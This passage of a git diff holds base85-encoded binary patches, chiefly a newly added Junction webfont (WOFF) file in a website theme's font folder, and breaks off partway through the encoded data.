zLnA`<p_WivXijKp=xd?xgtmwFh7O00gkBE)D)igX`=L*ZSdp_Rv#6+Oc+tqBhX3N< zoT6_R9V~je=-s0Ci#{oCEZ$js5dXB|Bl!1n@qZNmuK0uEFG@`Nmazj^Q?sx;=v#x( z1QOv{d_m_{W`2X!2IPw?B?Xkf4?pvovmoxwYY9HAoylt%*9Vf<3LB1{dFC?~%yNH7 zUgKLc_&%$d{_pG_e35q&n~U#r&czoxXJd!OTs8-#FF;BVm}NNr)#9pyt--NTe93bq zu-I&*1ljF)eifcyfb??QkH>i_o?MQUd06dPi8Lyy6X`+ZP(AeYJ;*I*3-Rtfh-_FX z-lzJO<B54ly&L5(2UffGZZ+;YL`nDHjsNc5;6J=wf%>Q~!~f~c>+76~Rxe;H&=zVl z)fB`Ii`gP&o@oE|bTa9(5^v4LlY{gj%HV6KC~3Lq)7{9sp2|y*UOqS{49r7qU-owZ zi6j#;q{D*PE-U7d6z~!|=CJF_1+R!3>!Dtj4y(rx$q8V$O%`Iua}Z;j3qI$g-U38f zgkbFy<C_XVqu7~u1HR!m3|}29$M@idV@FjbVqr$$J3Me@v60~RC^j0AQgv($e6#hy zqYdEe1U3=9o5Y$hr#9moD=q96d>Q6etUuibO5YCreFvL{INCNgoy|ZjVLSUOA|&o) zv)F8`^F7IBu5b%tANSz<!LP!~c@5t?dz~Fezu#nUuphD$_!iJYwumhT-IjxL_d>q! zM=aY~Mqi`V;9&X<JISrw##6A9)q#&uq~g0_Y23{{+>7tJ`QRPuWzXO{u?g%$|KHrt zo@YPh8SDWb;F&xNpRvlZuDWNz@ZsZzC(jeib3<kF97~>S>0CK{xOfidisZd`4)@|Y zoJS<ntCHvH<hdq!9+^B3mN(A4uSk|#QDN^~FmKiJxpQW(m~UoPHk#)uah{lLLSuv3 z1e`?^a28F#c?87c2p`y}@dw$>nr%v(&iO;r^+x)pt>(rDaeb}0_{Q{He1NvS4RL$H SiJBalfE`cf#dOUV`F{XIL<*<? literal 0 HcmV?d00001 diff --git a/assets/themes/the-minimum/font/Junction-webfont.woff b/assets/themes/the-minimum/font/Junction-webfont.woff new file mode 100755 index 0000000000000000000000000000000000000000..2129a056ac1d0909e351b63c1d8f741f7fe7864c GIT binary patch literal 15548 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 